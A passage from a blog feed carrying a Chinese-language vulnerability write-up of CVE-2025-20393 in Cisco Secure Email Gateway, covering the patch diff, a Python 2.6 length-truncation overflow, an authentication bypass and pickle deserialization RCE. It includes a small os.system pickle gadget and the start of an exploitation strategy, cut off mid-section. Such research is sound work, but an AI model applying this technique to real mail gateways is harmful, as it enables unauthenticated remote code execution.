-40px">2.</span><span style="display: inline-block; vertical-align: top; margin-left: 10px;">https://github.com/MG1937<a href="#fnref:2" rev="footnote"> ↩</a></span></li></ol></div></div></div><script src="https://cdn.jsdelivr.net/lightgallery.js/1.0.1/js/lightgallery.min.js"></script><script>if (typeof lightGallery !== 'undefined') {        var options = {            selector: '.gallery-item'        };        lightGallery(document.getElementsByClassName('.article-gallery')[0], options);        }</script>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css&quot;&gt;&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; hr</summary>
      
    
    
    
    <category term="SecurityResearch" scheme="https://bestwing.me/categories/SecurityResearch/"/>
    
    
    <category term="security" scheme="https://bestwing.me/tags/security/"/>
    
    <category term="Qualcomm" scheme="https://bestwing.me/tags/Qualcomm/"/>
    
    <category term="Xiaomi" scheme="https://bestwing.me/tags/Xiaomi/"/>
    
  </entry>
  
  <entry>
    <title>Pickling the Mailbox: A Deep Dive into CVE-2025-20393</title>
    <link href="https://bestwing.me/pickling-the-mailbox-cve-2025-20393-cn.html"/>
    <id>https://bestwing.me/pickling-the-mailbox-cve-2025-20393-cn.html</id>
    <published>2026-02-07T04:00:00.000Z</published>
    <updated>2026-03-10T02:46:52.450Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css"><link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/lightgallery.js/1.0.1/css/lightgallery.min.css" /><div class=".article-gallery"<h2 id="TL-DR"><a href="#TL-DR" class="headerlink" title="TL;DR"></a>TL;DR</h2><p>CVE-2025-20393 是 Cisco Secure Email Gateway 和 Secure Email and Web Manager 中的一个严重漏洞（CVSS 10.0）。漏洞成因是 EUQ（End User Quarantine）服务的 RPC 协议在打包 <code>destination</code> 长度时使用了单字节 <code>struct.pack(&#39;&gt;B&#39;, ...)</code>，而 Python 2.6 对超出范围的值会静默截断而非抛出异常。当攻击者发送 256 字节的 payload 时，长度字段溢出为 0，导致认证绕过，最终通过 <code>cPickle.loads()</code> 实现未授权 RCE。</p><h2 id="0x00-漏洞背景"><a href="#0x00-漏洞背景" class="headerlink" title="0x00 漏洞背景"></a>0x00 漏洞背景</h2><p>2025年12月17日，Cisco 发布安全公告 <code>cisco-sa-sma-attack-N9bf4</code>，修复了一个 CVSS 10.0 的严重漏洞：</p><table><thead><tr><th align="left">字段</th><th align="left">值</th></tr></thead><tbody><tr><td align="left"><strong>Advisory ID</strong></td><td align="left">cisco-sa-sma-attack-N9bf4</td></tr><tr><td align="left"><strong>CVE</strong></td><td align="left">CVE-2025-20393</td></tr><tr><td align="left"><strong>CVSS 3.1</strong></td><td align="left"><strong>10.0 (Critical)</strong></td></tr><tr><td align="left"><strong>CWE</strong></td><td align="left">CWE-20 (Improper Input Validation)</td></tr><tr><td align="left"><strong>受影响产品</strong></td><td align="left">Cisco Secure Email Gateway (SEG), Secure Email and Web Manager (SMA)</td></tr><tr><td align="left"><strong>Bug IDs</strong></td><td align="left">CSCws36549, CSCws52505</td></tr><tr><td align="left"><strong>Workarounds</strong></td><td align="left">无</td></tr></tbody></table><p>我们获取了 AsyncOS 15.5.3 固件，通过逆向工程和代码分析</p><h2 id="0x01-补丁分析"><a href="#0x01-补丁分析" class="headerlink" title="0x01 补丁分析"></a>0x01 补丁分析</h2><p>当补丁版本发布后，我们提取并对比了两个版本的固件。EUQ（End User Quarantine）服务引起了我们的注意——它暴露在 83 端口且大量使用 Python。</p><p>对比 AsyncOS 15.5.3（漏洞版本）与补丁版本的 <code>CommandMessage.py</code>：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">$ diff AsyncOS_15_5_3/site-packages/zeus/CommandMessage.py \</span><br><span class="line">       AsyncOS_patched/site-packages/zeus/CommandMessage.py</span><br><span class="line"></span><br><span class="line">30a26,47</span><br><span class="line">&gt;     <span class="keyword">if</span> destination is not None:</span><br><span class="line">&gt;         <span class="keyword">if</span> len(destination) &gt;= 255:</span><br><span class="line">&gt;             debug_str = <span class="string">&#x27;DEBUG:send_message:Invalid destination len:%r ...&#x27;</span></span><br><span class="line">&gt;             coro.print_stderr(debug_str)</span><br><span class="line">&gt;             raise Commandment.MessageFormatError()</span><br><span class="line">&gt;     <span class="keyword">if</span> <span class="built_in">source</span> is not None:</span><br><span class="line">&gt;         <span class="keyword">if</span> len(<span class="built_in">source</span>) &gt;= 255:</span><br><span class="line">&gt;             debug_str = <span class="string">&#x27;DEBUG:send_message:Invalid source len:%r ...&#x27;</span></span><br><span class="line">&gt;             coro.print_stderr(debug_str)</span><br><span class="line">&gt;             raise Commandment.MessageFormatError()</span><br></pre></td></tr></table></figure><p>补丁对 <code>destination</code> 和 <code>source</code> 增加了 <code>&gt;= 255</code> 的长度限制。超过则抛出 <code>MessageFormatError</code>。</p><p><strong>关键问题</strong></p><p>猫哥在看到这个 diff 时敏锐的觉得这应该是一个有用的Patch：</p><blockquote><p>“为什么是 255？如果发送 256 字节会怎样？”</p></blockquote><h2 id="0x02-Python-2-6-的-struct-pack-行为"><a href="#0x02-Python-2-6-的-struct-pack-行为" class="headerlink" title="0x02 Python 2.6 的 struct.pack 行为"></a>0x02 Python 2.6 的 struct.pack 行为</h2><p>查看反编译后的文件头：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Python bytecode version base 2.6 (62161)</span></span><br><span class="line"><span class="comment"># Compiled at: 2024-11-27 14:22:42</span></span><br></pre></td></tr></table></figure><p>AsyncOS 使用 Python 2.6 运行时——一个 2008 年发布、2013 年已 EOL 的版本。这至关重要，因为 Python 2.6 与 Python 3 在处理 <code>struct.pack</code> 溢出时行为完全不同。</p><p><strong>Python 3.x（严格模式）：</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="keyword">import</span> struct</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>struct.pack(<span class="string">&#x27;&gt;B&#x27;</span>, <span class="number">256</span>)</span><br><span class="line">Traceback (most recent call last):</span><br><span class="line">  File <span class="string">&quot;&lt;stdin&gt;&quot;</span>, line <span class="number">1</span>, <span class="keyword">in</span> &lt;module&gt;</span><br><span class="line">struct.error: <span class="string">&#x27;B&#x27;</span> <span class="built_in">format</span> requires <span class="number">0</span> &lt;= number &lt;= <span class="number">255</span></span><br></pre></td></tr></table></figure><p>Python 3 在值超出范围时抛出异常。</p><p><strong>Python 2.6（静默截断）：</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="keyword">import</span> struct</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>struct.pack(<span class="string">&#x27;&gt;B&#x27;</span>, <span class="number">256</span>)</span><br><span class="line"><span class="string">&#x27;\x00&#x27;</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>struct.pack(<span class="string">&#x27;&gt;B&#x27;</span>, <span class="number">289</span>)</span><br><span class="line"><span class="string">&#x27;!&#x27;</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="built_in">ord</span>(<span class="string">&#x27;!&#x27;</span>)</span><br><span class="line"><span class="number">33</span></span><br></pre></td></tr></table></figure><p>Python 2.6 对超出范围的值执行模运算：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">256 % 256 &#x3D; 0   → &#39;\x00&#39;</span><br><span class="line">289 % 256 &#x3D; 33  → &#39;!&#39; (0x21)</span><br><span class="line">512 % 256 &#x3D; 0   → &#39;\x00&#39;</span><br></pre></td></tr></table></figure><p>这就是整数溢出。在 Python 2.6 中，<code>struct.pack(&#39;&gt;B&#39;, 256)</code> 不会失败——它返回 <code>0x00</code>。</p><p><strong>为何重要</strong></p><p>RPC 消息打包代码使用：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">dst_len = struct.pack(<span class="string">&#x27;&gt;B&#x27;</span>, <span class="built_in">len</span>(destination))</span><br></pre></td></tr></table></figure><p>当 <code>len(destination) = 256</code> 时：</p><ul><li>Python 3：抛出异常，攻击失败</li><li>Python 2.6：<code>dst_len = &#39;\x00&#39;</code>，攻击成功</li></ul><p>Cisco 古老的 Python 2.6 运行时将一个潜在的崩溃转变为可利用的溢出。</p><h2 id="0x03-EUQ-RPC-协议分析"><a href="#0x03-EUQ-RPC-协议分析" class="headerlink" title="0x03 EUQ RPC 协议分析"></a>0x03 EUQ RPC 协议分析</h2><h3 id="EUQ-服务架构"><a href="#EUQ-服务架构" class="headerlink" title="EUQ 服务架构"></a>EUQ 服务架构</h3><p>EUQ 允许邮件接收者通过 83 端口的 Web 界面管理隔离邮件：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">┌─────────────┐      HTTPS&#x2F;83      ┌─────────────┐      RPC       ┌─────────────┐</span><br><span class="line">│   End User  │ ◄───────────────►  │  EUQ Web    │ ◄────────────► │  EUQ Backend│</span><br><span class="line">│   Browser   │                    │  Frontend   │                │  (Python)   │</span><br><span class="line">└─────────────┘                    └─────────────┘                └─────────────┘</span><br><span class="line">                                         │</span><br><span class="line">                                         ▼</span><br><span class="line">                                   &#x2F;Search endpoint</span><br><span class="line">                                   ?auth&#x3D;...&amp;serial&#x3D;...</span><br></pre></td></tr></table></figure><h3 id="消息头定义"><a href="#消息头定义" class="headerlink" title="消息头定义"></a>消息头定义</h3><p><code>Commandment.py</code> 定义了 RPC 消息头格式：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Commandment.py</span></span><br><span class="line">HEADER = <span class="string">&#x27;&gt;BBIIBB32s&#x27;</span></span><br><span class="line">HEADER_LENGTH = struct.calcsize(HEADER)  <span class="comment"># 44 bytes</span></span><br></pre></td></tr></table></figure><p>格式解析：</p><table><thead><tr><th align="left">格式</th><th align="left">类型</th><th align="left">大小</th><th align="left">字段</th></tr></thead><tbody><tr><td align="left"><code>&gt;</code></td><td align="left">Big-endian</td><td align="left">-</td><td align="left">字节序修饰符</td></tr><tr><td align="left"><code>B</code></td><td align="left">unsigned char</td><td align="left">1 byte</td><td align="left">version</td></tr><tr><td align="left"><code>B</code></td><td align="left">unsigned char</td><td align="left">1 byte</td><td align="left">ttl</td></tr><tr><td align="left"><code>I</code></td><td align="left">unsigned int</td><td align="left">4 bytes</td><td align="left">message_length</td></tr><tr><td align="left"><code>I</code></td><td align="left">unsigned int</td><td align="left">4 bytes</td><td align="left">message_type</td></tr><tr><td align="left"><code>B</code></td><td align="left">unsigned char</td><td align="left">1 byte</td><td align="left">source_length</td></tr><tr><td align="left"><code>B</code></td><td align="left">unsigned char</td><td align="left">1 byte</td><td align="left">destination_length</td></tr><tr><td align="left"><code>32s</code></td><td align="left">char[32]</td><td align="left">32 bytes</td><td align="left">txn_tag</td></tr></tbody></table><p>总 header 大小：1+1+4+4+1+1+32 = 44 字节</p><p>漏洞点在于 <code>source_length</code> 和 <code>destination_length</code>——均定义为单字节无符号字符（B），范围限制为 0-255。</p><h3 id="消息构造：send-message"><a href="#消息构造：send-message" class="headerlink" title="消息构造：send_message()"></a>消息构造：send_message()</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">send_message</span>(<span class="params">write_method, message_type, source, destination=<span class="string">&#x27;&#x27;</span>,</span></span></span><br><span class="line"><span class="function"><span class="params">                 message=<span class="string">&#x27;&#x27;</span>, ttl=<span class="number">0</span>, timeout=<span class="number">0</span>, tag=<span class="literal">None</span></span>):</span></span><br><span class="line">    header = struct.pack(</span><br><span class="line">        Commandment.HEADER,</span><br><span class="line">        Commandment.MESSAGE_VERSION,</span><br><span class="line">        ttl,</span><br><span class="line">        <span class="built_in">len</span>(message),</span><br><span class="line">        message_type,</span><br><span class="line">        <span class="built_in">len</span>(source),         <span class="comment"># ← 溢出点</span></span><br><span class="line">        <span class="built_in">len</span>(destination),    <span class="comment"># ← 溢出点</span></span><br><span class="line">        _message_tag(tag)</span><br><span class="line">    )</span><br><span class="line">    packet = header + source + destination + message</span><br><span class="line">    write_method(packet)</span><br></pre></td></tr></table></figure><p><strong>关键观察</strong>：当 <code>len(destination)</code> 超过 255 时，Python 2.6 的 <code>struct.pack</code> 使用格式 <code>&#39;B&#39;</code> 会静默截断该值。</p><h3 id="消息解析：read-message"><a href="#消息解析：read-message" class="headerlink" title="消息解析：read_message()"></a>消息解析：read_message()</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># CommandMessage.py - read_message()</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">read_message</span>(<span class="params">read_method, timeout=<span class="number">0</span></span>):</span></span><br><span class="line">    <span class="comment"># 读取固定大小的 header（44 字节）</span></span><br><span class="line">    header = _read(read_method, Commandment.HEADER_LENGTH, timeout)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        <span class="comment"># 解包 header 字段</span></span><br><span class="line">        (version, ttl, message_length, message_type,</span><br><span class="line">         source_length, destination_length, txn_tag) = struct.unpack(</span><br><span class="line">            Commandment.HEADER, header)</span><br><span class="line">    <span class="keyword">except</span> struct.error:</span><br><span class="line">        <span class="keyword">raise</span> Commandment.MessageFormatError()</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 验证协议版本</span></span><br><span class="line">    <span class="keyword">if</span> version != Commandment.MESSAGE_VERSION:</span><br><span class="line">        <span class="keyword">raise</span> Commandment.MessageVersionError(version, Commandment.MESSAGE_VERSION)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 根据 source_length 读取 source 字段</span></span><br><span class="line">    source = _read(read_method, source_length, timeout)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 根据 destination_length 读取 destination 字段</span></span><br><span class="line">    <span class="keyword">if</span> destination_length:                                    <span class="comment"># ← [A] 检查</span></span><br><span class="line">        destination = _read(read_method, destination_length, timeout)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        destination = <span class="string">&#x27;&#x27;</span>  <span class="comment"># ← [B] 当 destination_length=0 时，设为空字符串！</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># 读取消息载荷</span></span><br><span class="line">    message = _read(read_method, message_length, timeout)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> (txn_tag.rstrip(<span class="string">&#x27;\x00&#x27;</span>), ttl, message_type, source, destination, message)</span><br></pre></td></tr></table></figure><p><strong>关键漏洞路径 [A] 和 [B]：</strong></p><ul><li>当 <code>destination_length = 0</code>（由于溢出），代码进入 else 分支</li><li><code>destination</code> 被设为空字符串 <code>&#39;&#39;</code></li><li>空 destination 不会触发认证验证</li><li>攻击者控制的 message 载荷直接进入 <code>cPickle.loads()</code></li></ul><h3 id="完整消息结构"><a href="#完整消息结构" class="headerlink" title="完整消息结构"></a>完整消息结构</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">  +--------------------------- HEADER (44 bytes) ---------------------------+</span><br><span class="line">|                                                                          |</span><br><span class="line">|  +---------+---------+--------------+--------------+----------+---------+--------+</span><br><span class="line">|  | version |   ttl   | message_len  | message_type |source_len| dest_len|txn_tag |</span><br><span class="line">|  |  (1B)   |  (1B)   |    (4B)      |    (4B)      |   (1B)   |  (1B)   | (32B)  |</span><br><span class="line">|  |   &#39;B&#39;   |   &#39;B&#39;   |    &#39;I&#39;       |    &#39;I&#39;       |   &#39;B&#39;    |  &#39;B&#39;    | &#39;32s&#39;  |</span><br><span class="line">|  +---------+---------+--------------+--------------+----------+---------+--------+</span><br><span class="line">|                                                                          |</span><br><span class="line">+--------------------------------------------------------------------------+</span><br><span class="line">                                      |</span><br><span class="line">                                      v</span><br><span class="line">+--------------------------- BODY (variable) -----------------------------+</span><br><span class="line">|                                                                          |</span><br><span class="line">|  +--------------------+---------------------+----------------------------+</span><br><span class="line">|  |      source        |    destination      |          message           |</span><br><span class="line">|  | (source_len bytes) |  (dest_len bytes)   |    (message_len bytes)     |</span><br><span class="line">|  |                    |                     |    -&gt; cPickle.loads()      |</span><br><span class="line">|  +--------------------+---------------------+----------------------------+</span><br><span class="line">|                                                                          |</span><br><span class="line">+--------------------------------------------------------------------------+</span><br></pre></td></tr></table></figure><h2 id="0x04-漏洞分析"><a href="#0x04-漏洞分析" class="headerlink" title="0x04 漏洞分析"></a>0x04 漏洞分析</h2><h3 id="溢出链"><a href="#溢出链" class="headerlink" title="溢出链"></a>溢出链</h3><p>追踪发送 256 字节 destination 时的执行流程：</p><p><strong>步骤 1：消息打包（发送端）</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 在 send_message() 中 - 漏洞版本</span></span><br><span class="line">destination = attacker_controlled_256_bytes</span><br><span class="line">header = struct.pack(<span class="string">&#x27;&gt;BBIIBB32s&#x27;</span>,</span><br><span class="line">    ...,</span><br><span class="line">    <span class="built_in">len</span>(destination),  <span class="comment"># 256 → Python 2.6 截断为 0x00</span></span><br><span class="line">    ...</span><br><span class="line">)</span><br></pre></td></tr></table></figure><p><strong>步骤 2：消息解析（接收端）</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 在 read_message() 中</span></span><br><span class="line">(version, ttl, message_length, message_type,</span><br><span class="line"> source_length, destination_length, txn_tag) = struct.unpack(<span class="string">&#x27;&gt;BBIIBB32s&#x27;</span>, header)</span><br><span class="line"></span><br><span class="line"><span class="comment"># destination_length = 0（来自溢出）</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> destination_length:    <span class="comment"># False!</span></span><br><span class="line">    destination = _read(read_method, destination_length, timeout)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    destination = <span class="string">&#x27;&#x27;</span>      <span class="comment"># 空字符串，认证被绕过！</span></span><br><span class="line"></span><br><span class="line">message = _read(read_method, message_length, timeout)</span><br><span class="line"><span class="keyword">return</span> (..., destination, message)  <span class="comment"># 攻击者的 pickle 进入处理程序</span></span><br></pre></td></tr></table></figure><p><strong>步骤 3：通过 Pickle 实现 RCE</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 在 RPC 处理程序中</span></span><br><span class="line">result = cPickle.loads(message)  <span class="comment"># 攻击者控制的反序列化 → RCE</span></span><br></pre></td></tr></table></figure><h3 id="代码流程图"><a href="#代码流程图" class="headerlink" title="代码流程图"></a>代码流程图</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br></pre></td><td class="code"><pre><span class="line">                    攻击者发送 256 字节的 serial 参数</span><br><span class="line">                                    │</span><br><span class="line">                                    ▼</span><br><span class="line">┌─────────────────────────────────────────────────────────────────────────────┐</span><br><span class="line">│  send_message()  @ CommandMessage.py                                        │</span><br><span class="line">│                                                                             │</span><br><span class="line">│    destination &#x3D; attacker_payload (256 bytes)                               │</span><br><span class="line">│                       │                                                     │</span><br><span class="line">│                       ▼                                                     │</span><br><span class="line">│    struct.pack(&#39;&gt;BBIIBB32s&#39;, ..., len(destination), ...)                    │</span><br><span class="line">│    struct.pack(..., 256, ...)                                               │</span><br><span class="line">│                       │                                                     │</span><br><span class="line">│                       ▼                                                     │</span><br><span class="line">│    Python 2.6: 256 % 256 &#x3D; 0 → &#39;\x00&#39;  ← 整数溢出                            │</span><br><span class="line">│                                                                             │</span><br><span class="line">└─────────────────────────────────────────────────────────────────────────────┘</span><br><span class="line">                                    │</span><br><span class="line">                                    │ 网络传输</span><br><span class="line">                                    ▼</span><br><span class="line">┌─────────────────────────────────────────────────────────────────────────────┐</span><br><span class="line">│  read_message()  @ CommandMessage.py                                        │</span><br><span class="line">│                                                                             │</span><br><span class="line">│    header &#x3D; _read(read_method, 44, timeout)                                 │</span><br><span class="line">│    (..., dest_len, ...) &#x3D; struct.unpack(&#39;&gt;BBIIBB32s&#39;, header)               │</span><br><span class="line">│                       │                                                     │</span><br><span class="line">│                       ▼                                                     │</span><br><span class="line">│    dest_len &#x3D; 0  ← 来自溢出                                                  │</span><br><span class="line">│                       │                                                     │</span><br><span class="line">│                       ▼                                                     │</span><br><span class="line">│    if dest_len:       # False!                                              │</span><br><span class="line">│        destination &#x3D; _read(read_method, dest_len, timeout)                  │</span><br><span class="line">│    else:                                                                    │</span><br><span class="line">│        destination &#x3D; &#39;&#39;  ← 空字符串，认证被绕过                               │</span><br><span class="line">│                       │                                                     │</span><br><span class="line">│                       ▼                                                     │</span><br><span class="line">│    message &#x3D; _read(read_method, message_len, timeout)                       │</span><br><span class="line">│    return (..., destination, message)                                       │</span><br><span class="line">│                                                                             │</span><br><span class="line">└─────────────────────────────────────────────────────────────────────────────┘</span><br><span class="line">                                    │</span><br><span class="line">                                    ▼</span><br><span class="line">┌─────────────────────────────────────────────────────────────────────────────┐</span><br><span class="line">│  RPC Handler                                                                │</span><br><span class="line">│                                                                             │</span><br><span class="line">│    (_, _, _, _, destination, message) &#x3D; read_message(...)                   │</span><br><span class="line">│                       │                                                     │</span><br><span class="line">│                       ▼                                                     │</span><br><span class="line">│    # destination &#x3D; &#39;&#39;（空）- 验证被跳过或通过                                 │</span><br><span class="line">│                       │                                                     │</span><br><span class="line">│                       ▼                                                     │</span><br><span class="line">│    result &#x3D; cPickle.loads(message)  ← 攻击者控制的 PICKLE                    │</span><br><span class="line">│                       │                                                     │</span><br><span class="line">│                       ▼                                                     │</span><br><span class="line">│    os.system(&#39;attacker_command&#39;)  ← RCE 达成                                │</span><br><span class="line">│                                                                             │</span><br><span class="line">└─────────────────────────────────────────────────────────────────────────────┘</span><br></pre></td></tr></table></figure><h3 id="为何-Pickle-是危险的"><a href="#为何-Pickle-是危险的" class="headerlink" title="为何 Pickle 是危险的"></a>为何 Pickle 是危险的</h3><p>对不可信输入使用 <code>cPickle.loads()</code> 是灾难性的：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> pickle</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Exploit</span>:</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__reduce__</span>(<span class="params">self</span>):</span></span><br><span class="line">        <span class="keyword">return</span> (os.system, (<span class="string">&#x27;id&#x27;</span>,))</span><br><span class="line"></span><br><span class="line"><span class="comment"># 序列化</span></span><br><span class="line">payload = pickle.dumps(Exploit())</span><br><span class="line"></span><br><span class="line"><span class="comment"># 反序列化时执行：os.system(&#x27;id&#x27;)</span></span><br><span class="line">pickle.loads(payload)  <span class="comment"># uid=0(root) gid=0(wheel)...</span></span><br></pre></td></tr></table></figure><p><code>__reduce__</code> 方法告诉 pickle 如何重建对象——而这个”重建”可以是任意代码执行。</p><h2 id="0x05-利用策略：认证绕过深度分析"><a href="#0x05-利用策略：认证绕过深度分析" class="headerlink" title="0x05 利用策略：认证绕过深度分析"></a>0x05 利用策略：认证绕过深度分析</h2><h3 id="认证问题"><a href="#认证问题" class="headerlink" title="认证问题"></a>认证问题</h3><p>正常操作中，EUQ RPC 协议使用 <code>destination</code> 字段进行认证。服务器验证传入消息是否发往自己的序列号：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># RPC 处理程序中的简化认证逻辑</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">handle_rpc_message</span>(<span class="params">message_data</span>):</span></span><br><span class="line">    (_, _, _, source, destination, message) = read_message(...)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 认证检查：destination 必须匹配服务器的序列号</span></span><br><span class="line">    <span class="keyword">if</span> destination != MY_SERIAL_NUMBER:</span><br><span class="line">        <span class="keyword">raise</span> AuthenticationError(<span class="string">&quot;Message not for this server&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 仅当认证通过时，处理消息</span></span><br><span class="line">    result = cPickle.loads(message)</span><br></pre></td></tr></table></figure><p><strong>挑战</strong>：要利用 pickle 反序列化，我们需要通过认证检查。但如何知道目标服务器的序列号？</p><h3 id="两种利用方式对比"><a href="#两种利用方式对比" class="headerlink" title="两种利用方式对比"></a>两种利用方式对比</h3><table><thead><tr><th align="left">方式</th><th align="left">前提条件</th><th align="left">溢出值</th><th align="left">使用场景</th></tr></thead><tbody><tr><td align="left"><strong>序列号匹配</strong></td><td align="left">需知道目标序列号</td><td align="left"><code>dst_len = serial_len</code></td><td align="left">序列号已泄露时</td></tr><tr><td align="left"><strong>零长度绕过</strong></td><td align="left">无</td><td align="left"><code>dst_len = 0</code></td><td align="left">通用，无前提条件</td></tr></tbody></table><h3 id="方式-1：序列号匹配"><a href="#方式-1：序列号匹配" 